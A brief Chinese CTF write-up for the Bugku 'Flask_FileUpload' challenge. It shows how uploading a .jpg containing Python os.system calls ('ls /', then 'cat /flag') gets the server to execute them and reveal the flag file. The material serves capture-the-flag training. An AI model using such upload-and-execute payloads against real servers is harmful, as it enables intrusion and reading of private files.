技术栈

Bugku-web-Flask_FileUpload

黑白时光les2024-08-01 11:52

Bugku-web-Flask_FileUpload

查看源代码,提示用python返回结果

在file.jpg中写python代码

复制代码
import os
os.system('ls / ')

上传后查看源代码,找到flag文件夹

修改代码

复制代码
import os
os.system('cat /flag ')
上一篇:Python面试题:如何使用WebSocket实现实时Web应用
下一篇:单片机之串口通信协议
相关推荐
非优秀程序员
3 小时前
第10章 千团出世|《互联网产品恩仇录》
前端
非优秀程序员
3 小时前
第11章 小高在对面|《互联网产品恩仇录》
前端
非优秀程序员
3 小时前
第14章 只剩美团|《互联网产品恩仇录》
前端
非优秀程序员
3 小时前
第09章 老乡何必为难老乡|《互联网产品恩仇录》
前端
非优秀程序员
3 小时前
第03章 三大门户,烽烟起于瀛海威|《互联网产品恩仇录》
前端
曦樂~
7 小时前
【Web Development】02 CSS
前端·css
风骏时光牛马
8 小时前
后端服务接口开发与数据逻辑处理
前端
东鹏特饮
8 小时前
经典打砖块(Breakout)游戏
前端·css·css3
IT_陈寒
8 小时前
Vite的HMR把我整不会了:一个生产环境的热更新坑
前端·人工智能·后端
Mh
8 小时前
如何使用双缓冲优化视频切换
前端
热门推荐
01国内可直接用、免费额度/永久免费的大模型API清单(含 SiliconFlow、火山、阿里、智谱、百度、Kimi、DeepSeek、DMXAPI 等)02历年考研数学一、数学二、数学三真题试卷及答案PDF03如何新建文件夹? 电脑新建文件夹的4种方法04几个好用的ip纯净度检测网站05GitHub 镜像站点06微信历史版本含下载地址( Windows PC | 安卓 | MAC )及设置微信不更新07昇腾910B系列芯片完全指南:四款型号对比、服务器选型与大模型部署实战08苹果iPA游戏软件资源下载网站09蜘蛛磁力 搜索引擎大全,如何使用蜘蛛磁力查找磁力链接10Dify:一站式AI应用开发平台全解析与Windows部署指南